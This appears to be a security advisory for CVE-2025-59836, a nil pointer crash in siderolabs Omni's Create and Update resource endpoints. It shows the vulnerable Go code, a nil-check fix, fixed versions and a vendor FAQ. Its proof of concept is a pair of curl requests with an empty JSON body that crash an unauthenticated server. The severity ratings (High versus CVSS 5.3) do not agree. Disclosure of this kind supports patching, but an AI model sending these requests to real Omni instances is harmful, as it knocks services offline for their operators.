CVE-2025-59836

A nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints.

Details

The vulnerability exists in the isSensitiveSpec function which calls grpcomni.CreateResource without checking if the resource's metadata field is nil. When a resource is created with an empty Metadata field, the CreateResource function attempts to access resource.Metadata.Version causing a segmentation fault.

Vulnerable Code

The isSensitiveSpec function in /src/internal/backend/server.go:

func isSensitiveSpec(resource *resapi.Resource) bool {
    res, err := grpcomni.CreateResource(resource)  // No nil check on resource.Metadata
    if err != nil {
        return false
    }
    // ... rest of function
}

The CreateResource function expects resource.Metadata to be non-nil:

func CreateResource(resource *resources.Resource) (cosiresource.Resource, error) {
    if resource.Metadata.Version == "" {  // PANIC: nil pointer dereference
        resource.Metadata.Version = "1"
    }
    // ... rest of function
}

The UpdateResource function has the same issue - it also calls CreateResource internally and expects resource.Metadata to be non-nil:

func (s *ResourceServer) Update(ctx context.Context, in *resapi.UpdateRequest) (*resapi.UpdateResponse, error) {
    // ... validation code ...
    obj, err := CreateResource(in.Resource)  // Same vulnerability here
    if err != nil {
        return nil, err
    }
    // ... rest of function
}

Affected Endpoints

• resourceServerCreate - Create Resource API endpoint
• resourceServerUpdate - Update Resource API endpoint

Both endpoints call isSensitiveSpec which triggers the vulnerability when processing empty resources.

PoC

Send empty resource requests to the affected API endpoints:

# Create endpoint
curl -X POST "https://your-omni-instance/api/omni.resources.ResourceService/Create" \
  -H "Content-Type: application/json" \
  -d '{}'

# Update endpoint  
curl -X POST "https://your-omni-instance/api/omni.resources.ResourceService/Update" \
  -H "Content-Type: application/json" \
  -d '{}'

Expected Result: Server panic with segmentation fault:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x293d970]

goroutine 3305 [running]:
github.com/siderolabs/omni/internal/backend/grpc.CreateResource(0x3495420?)
        /src/internal/backend/grpc/resource.go:364 +0x20

Mitigation

Add nil checks in the isSensitiveSpec function:

func isSensitiveSpec(resource *resapi.Resource) bool {
    if resource == nil || resource.Metadata == nil {
        return false
    }
    res, err := grpcomni.CreateResource(resource)
    if err != nil {
        return false
    }
    // ... rest of function
}

Credits

• @1c3t0rm
• @nicomda

• Vulnerability Type: Denial of Service (DoS)
• Severity: High - Complete API server crash requiring manual restart if no restart policy is applied.
• Authentication: None required (unauthenticated)
• Complexity: Low (simple HTTP request)

The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.

CVE-2025-59836 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.1.5, 1.0.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-59836? CVE-2025-59836 is a medium-severity null pointer dereference vulnerability in github.com/siderolabs/omni (go), affecting versions >= 1.1.0-beta.0, <= 1.1.4. It is fixed in 1.1.5, 1.0.2. The application dereferences a null pointer, causing a crash.
2. How severe is CVE-2025-59836? CVE-2025-59836 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siderolabs/omni are affected by CVE-2025-59836? github.com/siderolabs/omni (go) versions >= 1.1.0-beta.0, <= 1.1.4 is affected.
4. Is there a fix for CVE-2025-59836? Yes. CVE-2025-59836 is fixed in 1.1.5, 1.0.2. Upgrade to this version or later.
5. Is CVE-2025-59836 exploitable, and should I be worried? Whether CVE-2025-59836 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-59836 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-59836?
   • Upgrade github.com/siderolabs/omni to 1.1.5 or later
   • Upgrade github.com/siderolabs/omni to 1.0.2 or later

Other vulnerabilities in github.com/siderolabs/omni